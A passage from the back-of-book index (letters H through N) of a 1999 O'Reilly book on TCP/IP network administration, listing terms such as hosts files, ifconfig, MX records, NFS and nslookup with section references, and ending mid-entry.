11.5. Checking Routing
group file
9.3. Network Information Service
13.2.1. Creating an FTP Server
group statements
9.5.1. dhcpd.conf
B.8.5. The bgp Statement
B.8.6. The egp Statement

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: H

handshaking
1.5.1. Internet Protocol
1.6.2. Transmission Control Protocol
TCP : 2.7.3. Sockets
three-way : 7.5.2. Border Gateway Protocol
hash mark (#) for comments
3.2. The Host Table
5.4. The Internet Daemon
7.7.1.1. A host configuration
9.1.4. NFS Automounter
9.2.1. The printcap File
9.4. A BOOTP Server
A.1.1. The dip Script File
D.3. The dhcpd.conf Configuration File
Hayes modems : 6.3.2. Dial-Up PPP
compatibility problems : 6.4.4. Troubleshooting Serial Connections
headers
1.3. TCP/IP Protocol Architecture
1.5.1.1. The datagram
3.4.3. Multipurpose Internet Mail Extensions
.h files : 5.3.1.2. Pseudo-device
compressing : 5.2. Linux Kernel Configuration
hello
command
3.4.3. Multipurpose Internet Mail Extensions
7.4. Interior Routing Protocols
messages : 7.5.1. Exterior Gateway Protocol
packets : 7.4.3. Open Shortest Path First
statement (in gated) : B.8.3. The hello Statement
HELO command, in POP : 3.4.2. Post Office Protocol
HELP command
in ESMTP : 3.4.3. Multipurpose Internet Mail Extensions
in nslookup : 8.4. Using nslookup
in SMTP : 3.4.1. Simple Mail Transfer Protocol
hierarchy, system : 3.3.1. The Domain Hierarchy
database system : 9.3.2. NIS+
of responsibility : 12.1.2.1. Use subnets to distribute control
High-level Data Link Control (HDLC) : 6.2.1. The Serial Protocols
high-speed dial-up modems : (see modems)
HINFO resource records
11.6.2. The data is here and the server can't find it!
C.3.1.7. Host Information record
hints file : 8.3.3. The Cache Initialization File
hoaxes about viruses : 12.1.2.2. Use mailing lists to distribute information
hop
1.7. Application Layer
(see also next-hop route)
count : 7.4.1.1. Running RIP with routed
next : 2.5. The Routing Table
Host Information records : (see HINFO resource records)
Host-to-Host Transport Layer : (see Transport Layer)
hosts
1.7. Application Layer
(see also remote, hosts, checking)
addresses : (see addresses)
file, caution regarding : 6.1.3. Assigning a Subnet Mask
list : 12.5.1.1. tcpd access control files
multi-homed : 1.5.1.2. Routing datagrams
names (hn) : 3.1. Names and Addresses
choosing : 4.4.2. Choosing a Hostname
easing transition from old to new : C.3.1.5. Canonical Name record
parameter : 9.4. A BOOTP Server
table
3.1. Names and Addresses
3.2. The Host Table
system, problems with : 3.2. The Host Table
hosts file
3.2. The Host Table
6.1. The ifconfig Command
7.3. Building a Static Routing Table
9.1.4. NFS Automounter
9.3. Network Information Service
creating : 3.2. The Host Table
as maps : 3.3.5. Network Information Service
modifying : 3.3.4. BIND, resolver, and named
hosts.allow file : 12.5.1.1. tcpd access control files
hosts.deny file : 12.5.1.1. tcpd access control files
hosts.equiv file
12.2.5. Secure the r Commands
12.4.2. Looking for Trouble
hosts.lpd file
9.2.1.1. LPD security
12.4.2. Looking for Trouble
htable
command : 3.2. The Host Table
networks.txt : 3.2. The Host Table
html text subtype : 3.4.3. Multipurpose Internet Mail Extensions
HTTP (Hypertext Transfer Protocol)
1.7. Application Layer
13.1. The World Wide Web
message subtype : 3.4.3. Multipurpose Internet Mail Extensions
human error : 11.1.1. Troubleshooting Hints
hunches, verifying : 10.8.1. Testing Rewrite Rules
Hypertext Transfer Protocol : (see HTTP)
hyphen (-) (non-equivalent host) : 12.2.5. Secure the r Commands

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: I

I-Heard-You (I-H-U) messages : 7.5.1. Exterior Gateway Protocol
ICMP (Internet Control Message Protocol) : 1.5.2. Internet Control Message Protocol
parameter problem message header : F.3. ICMP Parameter Problem Message Header
statement (in gated) : B.8.9. The icmp Statement
tracing messages in : B.8.9. The icmp Statement
IDA sendmail : 10. sendmail
Identification field : 1.5.1.3. Fragmenting datagrams
IDRP (InterDomain Routing Protocol) : 7.5.2. Border Gateway Protocol
IEEE 802.3 : 1.2. A Data Communications Model
Ierrs (input errors) : 11.4.3. Checking the Interface with netstat
IETF (Internet Engineering Task Force) : 2.2.2. Classless IP Addresses
RFC page : 13.4. Retrieving RFCs
ifconfig
3.5.1. Reverse Address Resolution Protocol
6.1. The ifconfig Command
6.4.1. slattach
7.2. The Minimal Routing Table
Linux implementation of : 7.3.1.1. Installing static routes at startup
putting in startup files : 6.1.5.6. Putting ifconfig in the startup files
setting values indirectly : 6.1.3. Assigning a Subnet Mask
in troubleshooting
11.2. Diagnostic Tools
11.3. Testing Basic Connectivity
11.4.1. Troubleshooting with the ifconfig Command
IHL (Internet Header Length) : 1.5.1.1. The datagram
image content type : 3.4.3. Multipurpose Internet Mail Extensions
IMAP (Internet Message Access Protocol)
4.5.3. Planning Your Mail System
9.7.2. IMAP Server
imapd file : 9.7.2. IMAP Server
import statement (in gated) : B.10.1. The import Statement
imposter on Ethernet : 11.4.2.1. ARP problem case study
in-addr.arpa
domain files
4.4.1.1. Obtaining an IN-ADDR.ARPA domain
8.3.5. The Reverse Domain File
11.6.4. dig: An Alternative to nslookup
13.6. The White Pages
reverse domain files : C.3.1.6. Domain Name Pointer record
incompatibility problems, handling : 5.2. Linux Kernel Configuration
indefinite tokens : 10.6.1. Pattern Matching
substituting : 10.6.2. Transforming the Address
individual host assignment of addresses : 4.2.1.1. Assigning host addresses
inetd : 5.4. The Internet Daemon
starting bootpd from : 9.4. A BOOTP Server
starting bootpgw from : 9.4.1. BOOTP gateway
starting POP3 from : 9.7.1. POP Server
inetd.conf file
5.4. The Internet Daemon
9.4. A BOOTP Server
12.3.1. Remove Unnecessary Software
12.4.2. Looking for Trouble
editing in tcpd : 12.5.1. wrapper
inetinit script : 7.3.1.1. Installing static routes at startup
infinite loops, detecting possible : 10.6.2. Transforming the Address
information
ensuring integrity of : 12.1.1. Assessing the Threat
gathering, first phase in problem-solving : 11.1. Approaching a Problem
passing to users : 4.6. Informing the Users
disseminating mask information : 4.2.2. Defining the Subnet Mask
resources, finding : 13. Internet Information Resources
init.d directory : 9.1.1. NFS Daemons
Initial Sequence Number (ISN) : 1.6.2. Transmission Control Protocol
input errors (Ierrs) : 11.4.3. Checking the Interface with netstat
installation planning sheets : 4.6.1. Sample Planning Sheets
int domain : 3.3.1. The Domain Hierarchy
integrity of information : (see information)
interactive
logins : 4.5.3. Planning Your Mail System
mode : 8.4. Using nslookup
protocols : 9.6. Managing Distributed Servers
InterDomain Routing Protocol (IDRP) : 7.5.2. Border Gateway Protocol
interfaces
checking with ifconfig : 6.1.2. Checking the Interface with ifconfig
connectors : 1.2. A Data Communications Model
determining name of : 6.1.1. Determining the Interface Name
multiple : 6.1.1. Determining the Interface Name
not enabled (*) : 6.1.1. Determining the Interface Name
statements (in gated) : B.6. Interface Statements
intermediate gateway : (see gateway)
Intermediate System to Intermediate System (IS-IS) protocol : 7.4. Interior Routing Protocols
intermediate systems : (see gateway)
intermittent problems : 11.4.2. Troubleshooting with the arp Command
internal keyword : 5.4. The Internet Daemon
internal threats : 12.1.1. Assessing the Threat
International Standards Organization (ISO)
1.2. A Data Communications Model
11.9. Simple Network Management Protocol
Internet
connected or non-connected to : 4.1. Connected and Non-Connected Networks
daemon (inetd) : 5.4. The Internet Daemon
global
3.2. The Host Table
4.1. Connected and Non-Connected Networks
12.6. Encryption
military origins of : 1.1. TCP/IP and the Internet
rapid growth of
Foreword from the First Edition
1.1. TCP/IP and the Internet
2.2.1. Address Classes
7.5.1. Exterior Gateway Protocol
routing architecture : 2.4. Internet Routing Architecture
Internet Control Message Protocol : (see ICMP)
Internet Control Protocol (IPCP) : 6.2.1. The Serial Protocols
Internet Engineering Task Force (IETF) : 2.2.2. Classless IP Addresses
RFC page : 13.4. Retrieving RFCs
Internet Header Length (IHL) : 1.5.1.1. The datagram
Internet Layer : 1.5. Internet Layer
Internet Message Access Protocol (IMAP)
4.5.3. Planning Your Mail System
9.7.2. IMAP Server
Internet Protocol (IP) : 1.5.1. Internet Protocol
Internet Registries
4.2.1. Obtaining an IP Address
4.3.1. Obtaining an autonomous system number
Internet Resource Registries (IRR) : 4.2.1. Obtaining an IP Address
Internet Routing Registry (IRR) : 2.4. Internet Routing Architecture
Internet Service Providers : (see ISPs)
Internet Software Consortium (ISC) : 9.5. DHCP
Internet Talk Radio
5.2. Linux Kernel Configuration
5.3.1.1. Options
InterNIC
4.2.1. Obtaining an IP Address
4.4.1. Obtaining a Domain Name
8.3.3. The Cache Initialization File
11.6.3. Cache corruption
13.6. The White Pages
interoperability : (see DHCP; POP routers)
intranets : 4.1. Connected and Non-Connected Networks
intruders
1.7. Application Layer
5.2. Linux Kernel Configuration
(see also finger)
(see also firewalls)
(see also TFTP protocol)
IP (Internet Protocol) : 1.5.1. Internet Protocol
IP addresses
2.2. The IP Address
6.1. The ifconfig Command
classless : 2.2.2. Classless IP Addresses
depletion of : 2.2.2. Classless IP Addresses
incorrect : 11.4.1. Troubleshooting with the ifconfig Command
unique : 4.2.1. Obtaining an IP Address
IP datagrams
forwarding : 5.2. Linux Kernel Configuration
headers for : F.1. IP Datagram Header
IP router : (see gateway)
IPCP (Internet Control Protocol) : 6.2.1. The Serial Protocols
IPv6 : 2.2.2. Classless IP Addresses
IPX networks, pure : A.2. The PPP Daemon
irq parameter : 6.1.5.5. Point-to-point
IRR (Internet Resource Registries) : 4.2.1. Obtaining an IP Address
IRR (Internet Routing Registry) : 2.4. Internet Routing Architecture
IS (intermediate system)
1.7. Application Layer
B.8.4. The isis Statement
IS-IS protocol : B.8.4. The isis Statement
trace options : B.8.4. The isis Statement
ISC (Internet Software Consortium)
9.5. DHCP
D.1. Compiling dhcpd
ISDN interface : 5.2. Linux Kernel Configuration
experimental : 5.3.1.3. Devices
isis statement (in gated) : B.8.4. The isis Statement
ISN (Initial Sequence Number) : 1.6.2. Transmission Control Protocol
ISPs (Internet Service Providers)
1.1. TCP/IP and the Internet
4.1. Connected and Non-Connected Networks
6.3.2. Dial-Up PPP
choosing : 4.1.1. Network Contacts
interconnections among : 7.5.2. Border Gateway Protocol
services of : 4.4.1. Obtaining a Domain Name

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: J

jargon : (see terminology, importance of using standard)
joe accounts : 12.2. User Authentication
jpeg image subtype : 3.4.3. Multipurpose Internet Mail Extensions

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: K

K commands
10.8.2. Using Key Files in sendmail
E.4.4. The sendmail K Command
keepalives
5.2. Linux Kernel Configuration
7.5.2. Border Gateway Protocol
B.8.5. The bgp Statement
kernel
configuration file : 5.1. Kernel Configuration
when to change : 5.1. Kernel Configuration
statement (in gated) : B.8.10.1. The routerdiscovery client statement
keyboard interrupts : 9.1.3.2. The vfstab and fstab files

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: L

LAN
1.7. Application Layer
(see also Ethernet)
applications : 3.7.1. File Sharing
proprietary : 3.7.1. File Sharing
servers : 3. Network Services
Lance Ethernet Interface : 6.1.1. Determining the Interface Name
laptop computer as test equipment : 11.2. Diagnostic Tools
large transmission window size : 5.2. Linux Kernel Configuration
last command, in security checks : 12.4.2.2. Checking login activity
layers
1.2. A Data Communications Model
1.3. TCP/IP Protocol Architecture
LCP (Link Control Protocol)
6.2.1. The Serial Protocols
A.2. The PPP Daemon
leases on addresses : 3.6.1. Dynamic Host Configuration Protocol
default-lease-time : 9.5.1. dhcpd.conf
renewing : 9.4.2. BOOTP extensions
limiting DHCP servers : 3.6.1. Dynamic Host Configuration Protocol
line length restriction : 3.4.3. Multipurpose Internet Mail Extensions
Line Printer (LP) print service, in Solaris : 9.2.2. Solaris Line Printer Service
Link Control Protocol (LCP)
6.2.1. The Serial Protocols
A.2. The PPP Daemon
link-state
database : 7.4.3. Open Shortest Path First
routing protocols
7.4. Interior Routing Protocols
7.4.2. RIP Version 2
Link-State Advertisements (LSAs)
7.4.3. Open Shortest Path First
B.8.1. The ospf Statement
linux source directory : 5.2. Linux Kernel Configuration
Linux systems
UNIX Versions
4.7. netconfig
10.2. Running sendmail as a Daemon
ifconfig command on
6.1.2. Checking the Interface with ifconfig
6.1.5.3. Metric
kernel configuration : 5.2. Linux Kernel Configuration
of PPP : 6.3. Installing PPP
remounting filesystems on : 9.1.3.2. The vfstab and fstab files
sharing directories on : 9.1.2.2. The /etc/exports file
linux.mc macro control file : 10.4.1.1. Building a sendmail.cf with m4 macros
linux.smtp.cf file
10.4.2. General sendmail.cf Structure
10.7. Modifying a sendmail.cf File
list-of-lists : 13.5. Mailing Lists
LISTSERV : 13.5. Mailing Lists
literals : 10.6.2. Transforming the Address
*LK* keyword : 12.2.1. The Shadow Password File
load balancing
5.2. Linux Kernel Configuration
7.4.3. Open Shortest Path First
11.4.4. Subdividing an Ethernet
local gateway : (see gateway)
LOCALDOMAIN variable : 8.2.1. The Resolver Configuration File
localhost
3.2. The Host Table
7.2. The Minimal Routing Table
8.3.4. The named.local File
LOCALRES environmental variable : 11.6.4. dig: An Alternative to nslookup
lock daemon (lockd) : 9.1.1. NFS Daemons
lock requests : (see file)
loghost : 3.2. The Host Table
login activity, checking : 12.4.2.2. Checking login activity
login, remote : 1.7. Application Layer
loopback
address
2.2.2.1. Final notes on IP addresses
3.2. The Host Table
8.3.4. The named.local File
devices : 5.3.1.2. Pseudo-device
domain : 8.3.1.1. Configuring a caching-only nameserver
files : 8.1.1. BIND Configurations
interface
4.7. netconfig
6.1.1. Determining the Interface Name
6.1.5.6. Putting ifconfig in the startup files
route
2.5. The Routing Table
7.2. The Minimal Routing Table
12.7.2. Routing control
lowest-cost path : 7.4.3. Open Shortest Path First
lp directory : 9.2.2. Solaris Line Printer Service
lpd (Line Printer Daemon) : 9.2. Line Printer Daemon
commands, listed : 9.2.1.2. Using LPD
lpr command, in UNIX : 3.7.2. Print Services
lpr program : 9.2.1.2. Using LPD
lpr server, IP address of : 9.4. A BOOTP Server
lpsystem command : 9.2.2. Solaris Line Printer Service
ls command
8.4. Using nslookup
11.6. Checking Name Service

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: M

m4 macros
10.4.1.1. Building a sendmail.cf with m4 macros
E.3. m4 sendmail Macros
macros, expanding : 10.6.2. Transforming the Address
MAEs (Metropolitan Area Exchanges) : 1.1. TCP/IP and the Internet
magic number negotiation : A.2. The PPP Daemon
mail
addresses : 13.3.1. archie
aliases : 10.3. sendmail Aliases
gateway : 4.5.3. Planning Your Mail System
messages, encapsulated : 3.4.3. Multipurpose Internet Mail Extensions
relay : 4.5.3. Planning Your Mail System
servers
3.4. Mail Services
4.5.3. Planning Your Mail System
interoperability and : 3.4.3. Multipurpose Internet Mail Extensions
mail exchanger (MX) records
8.3.2. Standard Resource Records
8.3.6. The named.hosts File
8.4. Using nslookup
10.7.1. Modifying Local Information
C.3.1.4. Mail exchanger record
/mail/imap.tar.Z file : 9.7.2. IMAP Server
mailbox servers : 9.7. Mail Servers
synchronizing : 9.7.2. IMAP Server
mailer
definition fields : 10.5.8. Defining Mailers
common : 10.5.8.1. Some common mailer definitions
local : 10.5.8. Defining Mailers
MAILER source file (in sendmail)
E.3. m4 sendmail Macros
E.3.5. MAILER
values available, listed : E.3.5. MAILER
mailertable database : 10.7.1. Modifying Local Information
mailing lists
for distributing security information : 12.1.2.2. Use mailing lists to distribute information
for exchanging information and ideas : 13.5. Mailing Lists
joining : 13.5. Mailing Lists
sendmail and : 10.1. sendmail's Function
maintenance toolkits, ready-made : 11.2. Diagnostic Tools
majordomo : 13.5. Mailing Lists
make command : 5.2. Linux Kernel Configuration
in NIS : 9.3. Network Information Service
make config command : 5.2. Linux Kernel Configuration
make install.man : 9.4. A BOOTP Server
make zImage command : 5.2. Linux Kernel Configuration
makemap command
10.4.1.1. Building a sendmail.cf with m4 macros
E.1. Compiling sendmail
E.4.4. The sendmail K Command
Management Information Base (MIB) : 11.9. Simple Network Management Protocol
map
1.7. Application Layer
(see also /etc/hosts file)
(see also /etc/networks file)
(see also automounter daemon)
(see also IMAP)
(see also Network Information Service)
(see also portmapper)
building : 7.4.3. Open Shortest Path First
name assigned a database : 10.6.2.1. Transforming with a database
martians
4.2.1. Obtaining an IP Address
B.7. Definition Statements
mask information : (see information)
masking
2.2.2. Classless IP Addresses
2.3. Subnets
masquerading
E.3.2. FEATURE
E.3.4. DOMAIN
maximum receive unit (MRU) : A.2. The PPP Daemon
maximum transmission unit : (see MTU)
maxpacketsize : B.8.6. The egp Statement
MBONE
5.2. Linux Kernel Configuration
5.3.1.1. Options
memory-to-memory copies : 6.1.5.2. ARP and trailers
Message Digest 5 (MD5) cryptographic checksum
7.4.3. Open Shortest Path First
7.7.1.1. A host configuration
B.8.2. The rip Statement
messages
1.3. TCP/IP Protocol Architecture
1.5.2. Internet Control Message Protocol
assigning priority to : 10.5.6. Defining Mail Precedence
content type : 3.4.3. Multipurpose Internet Mail Extensions
multipart subtype : 3.4.3. Multipurpose Internet Mail Extensions
multiple objects in single : 3.4.3. Multipurpose Internet Mail Extensions
messages file : 12.4.2.2. Checking login activity
metasymbols : 10.6.1. Pattern Matching
for transforming the address : 10.6.2. Transforming the Address
metrics : 6.1.5.3. Metric
arbitrariness of : 7.4.1.1. Running RIP with routed
incompatibility of : 7.6.1. gated's Preference Value
Metropolitan Area Exchanges (MAEs) : 1.1. TCP/IP and the Internet
MIB (Management Information Base) : 11.9. Simple Network Management Protocol
MIBI and MIBII : 11.9. Simple Network Management Protocol
mil domain : 3.3.1. The Domain Hierarchy
MIME (Multipurpose Internet Mail Extensions)
1.2. A Data Communications Model
3.4.3. Multipurpose Internet Mail Extensions
sendmail and : 10.5.8. Defining Mailers
standardizing on : 4.5.3. Planning Your Mail System
types : 3.4.3. Multipurpose Internet Mail Extensions
minicom : 6.4.4. Troubleshooting Serial Connections
minus sign (-) (non-equivalent host) : 12.2.5. Secure the r Commands
mixed multipart subtype : 3.4.3. Multipurpose Internet Mail Extensions
mknod command : 6.4.4. Troubleshooting Serial Connections
mobile systems, requirements of : 3.6.1. Dynamic Host Configuration Protocol
mode command : 6.3.2. Dial-Up PPP
modems
1.7. Application Layer
(see also Automatic Call Unit)
asynchronous : 5.3.1.2. Pseudo-device
carrier-detect (DCD) indicator, monitoring : 6.3.3. chat
checking configuration of : 6.4.4. Troubleshooting Serial Connections
documentation : 6.4.4. Troubleshooting Serial Connections
high-speed dial-up : 6.2. TCP/IP Over a Serial Line
synchronous : 5.3.1.2. Pseudo-device
modules, loadable : 5.2. Linux Kernel Configuration
monitoring software : 11.9. Simple Network Management Protocol
automated : 12.4.3. Automated Monitoring
monitoring system usage : 5.2. Linux Kernel Configuration
more command : 8.4. Using nslookup
Mosaic browser : 13.1. The World Wide Web
mount
command : 9.1.3.1. The mount command
daemon (mountd) : 9.1.1. NFS Daemons
point : 9.1.3.1. The mount command
mounting
directory : 9.1. The Network File System
remote filesystems : 9.1.3. Mounting Remote Filesystems
common reasons for : 9.1.3. Mounting Remote Filesystems
mpeg video subtype : 3.4.3. Multipurpose Internet Mail Extensions
mqueue temporary files : 10.5.4. The Set Option Command
MRU (maximum receive unit) : A.2. The PPP Daemon
MTU (maximum transmission unit)
1.5.1.3. Fragmenting datagrams
6.1.1. Determining the Interface Name
6.1.2. Checking the Interface with ifconfig
6.1.5.4. Maximum transmission unit
A.1. Dial-Up IP
determining smallest : 5.2. Linux Kernel Configuration
multi-homed
host
5.3.1.1. Options
8.2.1. The Resolver Configuration File
architecture of : 12.7. Firewalls
site : 4.3.1. Obtaining an autonomous system number
multicasting
6.1.2. Checking the Interface with ifconfig
6.1.5.5. Point-to-point
addresses
2.2.1. Address Classes
2.2.2.1. Final notes on IP addresses
2.6. Address Resolution
7.4.2. RIP Version 2
routing, support for
5.2. Linux Kernel Configuration
5.3.1.1. Options
Multichannel Memorandum Distribution Facility (MMDF) : 10. sendmail
multihomed hosts : (see hosts)
multipart content type : 3.4.3. Multipurpose Internet Mail Extensions
multipart encryption : (see encryption)
multipart messages : (see messages)
multiplexing
2.1. Addressing, Routing, and Multiplexing
2.7. Protocols, Ports, and Sockets
Multipurpose Internet Mail Extensions : (see MIME)
MX records
8.3.2. Standard Resource Records
8.3.6. The named.hosts File
8.4. Using nslookup
10.7.1. Modifying Local Information
C.3.1.4. Mail exchanger record

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: N

name : 3.1. Names and Addresses
name service
1.7. Application Layer
8. Configuring DNS Name Service
(see also DNS)
(see also Domain Name Service)
addresses : (see addresses)
process : 3.3.4. BIND, resolver, and named
troubleshooting
11.3. Testing Basic Connectivity
11.6. Checking Name Service
Name Service Switch file (nsswitch.conf) : 9.3.1. The nsswitch.conf file
named server daemon
5.4. The Internet Daemon
8.1. BIND: UNIX Name Service
booting : 8.3.3. The Cache Initialization File
command : C.1. The named Command
configuring : 8.3. Configuring named
process : 3.3.4. BIND, resolver, and named
starting at startup : 8.3.6.1. Starting named
tools reference : C. A named Reference
named.boot file
8.3.1. The named.boot File
11.6.3. Cache corruption
C.1. The named Command
configuration commands : C.2. named.boot Configuration Commands
listed : 8.3.1. The named.boot File
named.ca file : 11.6.3. Cache corruption
named.hosts file : 8.3.6. The named.hosts File
named.local file : 8.3.4. The named.local File
named.pid file : 11.6.3. Cache corruption
named.rev file : 8.3.5. The Reverse Domain File
nameserver entry, in resolv.conf : 8.2.1. The Resolver Configuration File
National Center for Supercomputer Applications (NCSA) : 13.1. The World Wide Web
National Institute of Standards and Technology (NIST)
12.1.2.2. Use mailing lists to distribute information
13.1. The World Wide Web
National Science Foundation (NSF) : 1.1. TCP/IP and the Internet
natural mask : 2.2.2. Classless IP Addresses
NBMA interfaces
B.6. Interface Statements
B.8.1. The ospf Statement
NCSA (National Center for Supercomputer Applications) : 13.1. The World Wide Web
neighbors
acquiring : 7.5.1. Exterior Gateway Protocol
allowing
7.7.1.3. Exterior gateway configuration
B.8.6. The egp Statement
net domain : 3.3.1. The Domain Hierarchy
Net/Dest : (see Net/Dest value)
Net/Dest value
6.1.1. Determining the Interface Name
6.1.5.5. Point-to-point
netconfig : 4.7. netconfig
Netscape browser : 13.1. The World Wide Web
netstat
-in command : 6.1.1. Determining the Interface Name
-ni command : 6.4.4. Troubleshooting Serial Connections
-nr command
2.5. The Routing Table
7.3.1. Adding Static Routes
11.5. Checking Routing
to display routing table : 12.7.2. Routing control
troubleshooting with
11.2. Diagnostic Tools
11.3. Testing Basic Connectivity
11.4.3. Checking the Interface with netstat
network : (see enterprise)
access
balancing against computer security : 12. Network Security
troubleshooting : 11.4. Troubleshooting Network Access
address translation (NAT) : 4.2.1. Obtaining an IP Address
advantages of : 4.2.1. Obtaining an IP Address
disadvantages of : 4.2.1. Obtaining an IP Address
administration
1.7. Application Layer
3.1. Names and Addresses
avoiding problems
11.4.2.1. ARP problem case study
11.9. Simple Network Management Protocol
decentralized : 2.3. Subnets
defined
1. Overview of TCP/IP
11. Troubleshooting TCP/IP
developing feel for : 12.4.1. Know Your System
need for information about : Preface
security responsibilites of : 12.1.3. Writing a Security Policy
simplifying : 4.2.2. Defining the Subnet Mask
break-ins, increasing : 12. Network Security
building : Foreword from the First Edition
connected or not connected to Internet : 4.1. Connected and Non-Connected Networks
diameter : 1.7. Application Layer
limited : 7.4.1.1. Running RIP with routed
hardware
1.7. Application Layer
(see also physical, network)
with built-in diagnostic software : 11.3.1. The ping Command
problems with
11.3.1. The ping Command
11.4.3. Checking the Interface with netstat
11.4.4.1. Network hardware problems
heterogeneous : 1.1.2. Protocol Standards
interfaces : 3.1. Names and Addresses
enabling or disabling : 6.1.5.1. Enabling and disabling the interface
information need for : 6.1. The ifconfig Command
maps drawn by monitors : 11.9. Simple Network Management Protocol
mask : 2.5. The Routing Table
in RIP-2 : 7.4.2. RIP Version 2
monitoring traffic on : 11.7. Analyzing Protocol Problems
news : 13.5.1. Newsgroups
numbers
2.2.1. Address Classes
4.2.1.1. Assigning host addresses
problems, how to approach : 11. Troubleshooting TCP/IP
processes : 8.2. Configuring the Resolver
resources, controlling : 12.1.3. Writing a Security Policy
saturated : 11.4.3. Checking the Interface with netstat
servers : 2.7.2. Port Numbers
configuring : 9. Configuring Network Servers
shared media : 11.4.4. Subdividing an Ethernet
subdividing : 11.4.3. Checking the Interface with netstat
subnetted : 4.2.1.1. Assigning host addresses
topology of : 2.2.2. Classless IP Addresses
underlying : 1.4. Network Access Layer
unreliable : 11.3.1. The ping Command
unusual activity on : 12.4.1. Know Your System
usage, monitoring : 5.2. Linux Kernel Configuration
X.25 : 1.5.1.3. Fragmenting datagrams
Network Access Layer
1.3. TCP/IP Protocol Architecture
6.1.1. Determining the Interface Name
protocols : 3.6. Bootstrap Protocol
Network Access Points
1.1. TCP/IP and the Internet
2.4. Internet Routing Architecture
7.5.2. Border Gateway Protocol
Network Control protocols : 6.2.1. The Serial Protocols
Network File System : (see NFS)
Network Information Center : (see NIC)
Network Information Service : (see NIS)
Network Layer
1.2. A Data Communications Model
6.1.1. Determining the Interface Name
Network Management Station (NMS) : 11.9. Simple Network Management Protocol
Network News Transfer Protocol (NNTP) : 13.5.1. Newsgroups
Network Terminal Protocol (TELNET) : 1.7. Application Layer
network unreachable error message
11.3. Testing Basic Connectivity
11.5. Checking Routing
Network/Destination value
6.1.1. Determining the Interface Name
6.1.5.5. Point-to-point
networks file
3.2. The Host Table
6.1.3. Assigning a Subnet Mask
7.3. Building a Static Routing Table
9.3. Network Information Service
as maps : 3.3.5. Network Information Service
newly registered hosts : 3.2. The Host Table
news message subtype : 3.4.3. Multipurpose Internet Mail Extensions
newsgroups : 13.5.1. Newsgroups
for security information : 12.1.2.2. Use mailing lists to distribute information
using : 4.1.1. Network Contacts
newsreader, using : 13.5.1. Newsgroups
next-hop route : 7.4.3. Open Shortest Path First
specifying : 7.3. Building a Static Routing Table
in RIP-2 : 7.4.2. RIP Version 2
NFS (Network File System)
1.7. Application Layer
3.7.1. File Sharing
9.1. The Network File System
9.6. Managing Distributed Servers
benefits of : 9.1. The Network File System
NFS daemon (nfsd) : 9.1.1. NFS Daemons
NFS-based print services : 9.1.5.1. NFS print services
nfs.client script : 9.1.1. NFS Daemons
nfs.server script : 9.1.1. NFS Daemons
NFSNET backbone : 1.1. TCP/IP and the Internet
NIC (Network Information Center) : 3.3.2. Creating Domains and Subdomains
handle : 4.4.1. Obtaining a Domain Name
NIS (Network Information Service)
3.3.5. Network Information Service
9.3. Network Information Service
maps of
3.3.5. Network Information Service
6.1.3. Assigning a Subnet Mask
10.6.1. Pattern Matching
NIS+ : 9.3.2. NIS+
NIST (National Institute of Standards and Technology)
12.1.2.2. Use mailing lists to distribute information
13.1. The World Wide Web
NMS (Network Management Station) : 11.9. Simple Network Management Protocol
NNTP (Network News Transfer Protocol) : 13.5.1. Newsgroups
no answer error message : 11.3. Testing Basic Connectivity
no more data from sender (FIN) bit : 1.6.2. Transmission Control Protocol
nobody uid
5.4. The Internet Daemon
9.1.2.1. The share command
non-authoritative servers : 3.3.4. BIND, resolver, and named
non-broadcast multi-access (NBMA) interfaces
B.6. Interface Statements
B.8.1. The ospf Statement
non-connected network : 4.1. Connected and Non-Connected Networks
non-encoded binary data : 3.4.3. Multipurpose Internet Mail Extensions
non-Internet sites, delivering mail to : C.3.1.4. Mail exchanger record
non-recursive queries : 3.3.2. Creating Domains and Subdomains
notation, dotted decimal : 2.3. Subnets
NP keyword : 12.2.1. The Shadow Password File
NS query : 11.6. Checking Name Service
NS records
8.3.5. The Reverse Domain File
8.3.6. The named.hosts File
NS resource records : C.3.1.2. Name server record
nservers option : 9.1.1. NFS Daemons
NSF (National Science Foundation)
1.1. TCP/IP and the Internet
7.5.2. Border Gateway Protocol
NSFNET : 2.4. Internet Routing Architecture
backbone : 7.4. Interior Routing Protocols
nslookup
4.4.1. Obtaining a Domain Name
8.4. Using nslookup
in troubleshooting
11.2. Diagnostic Tools
11.3. Testing Basic Connectivity
11.6. Checking Name Service
nsswitch.conf file
